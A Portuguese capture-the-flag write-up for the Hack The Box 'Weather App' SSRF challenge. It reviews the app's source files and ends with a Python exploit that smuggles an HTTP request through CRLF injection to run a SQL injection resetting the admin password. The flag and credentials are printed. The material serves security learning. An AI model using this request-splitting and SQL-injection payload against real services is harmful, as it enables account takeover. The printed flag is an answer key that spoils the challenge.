O desafio Weather App permite que você explore a vulnerabilidade de Server-Side Request Forgery (SSRF).
Creator | Challenge Web | Difficulty | Points | Flag |
makelarisjr & makelaris | Weather App | 🟢 EASY | 20 | HTB{w3lc0m3_t0_th3_p1p3_dr34m} |
Server-Side Request Forgery (SSRF) | ||||
OWASP | PortSwigger | CWE-918 |
Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://206.189.124.56:31810
Na sessão de Download Files do HTB você encontra o arquivo Weather App.zip Senha: hackthebox
Ao abrir a pasta web_weather_app\challenge, você vai encontrar o arquivo flag, mas segure a emoção pois ainda não é a flag do desafio. 😂
Conteúdo do arquivo flag
Analisando o arquivo indes.js que está na pasta Weather App\web_weather_app\challenge\routes\, podemos afirmar que o registro é realizado localmente o que nos faz pensar como realizar o SSRF na aplicação.
Outro ponto óbvio é que precisamos ser admin para realizar o acesso a /app/flag conforme descreve a rota de login.
Com base neste cenário precisamos explorar o arquivo database.js que está na pasta Weather App\web_weather_app\challenge\ em busca de informações que nos ajude a evoluir com a exploração.
No arquivo WeatherHelper.js que está na pasta Weather App\web_weather_app\challenge\helpers\ podemos entender como o endpoint funciona para iniciarmos a exploração.
Voltando ao arquivo index.js, podemos observar a rota /api/weather e é através desta rota que vamos explorar o SSRF para obter a flag.
Ao tentar acessar a rota /register é exibida as informações do SSH e a versão do Sistema Operacional.
Através do script weatherapp.py conseguimos realizar a alteração da senha do usuário admin para admin o que nos permite acesso para obter a flag.
import requests url = "http://206.189.124.56:31810" username="admin" password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--" parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22") parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22") contentLength = len(parsedUsername) + len(parsedPassword) + 19 endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol=' city='test' country='test' json={'endpoint':endpoint,'city':city,'country':country} res=requests.post(url=url+'/api/weather',json=json)
Username : admin
Password : admin
Flag : HTB{w3lc0m3_t0_th3_p1p3_dr34m}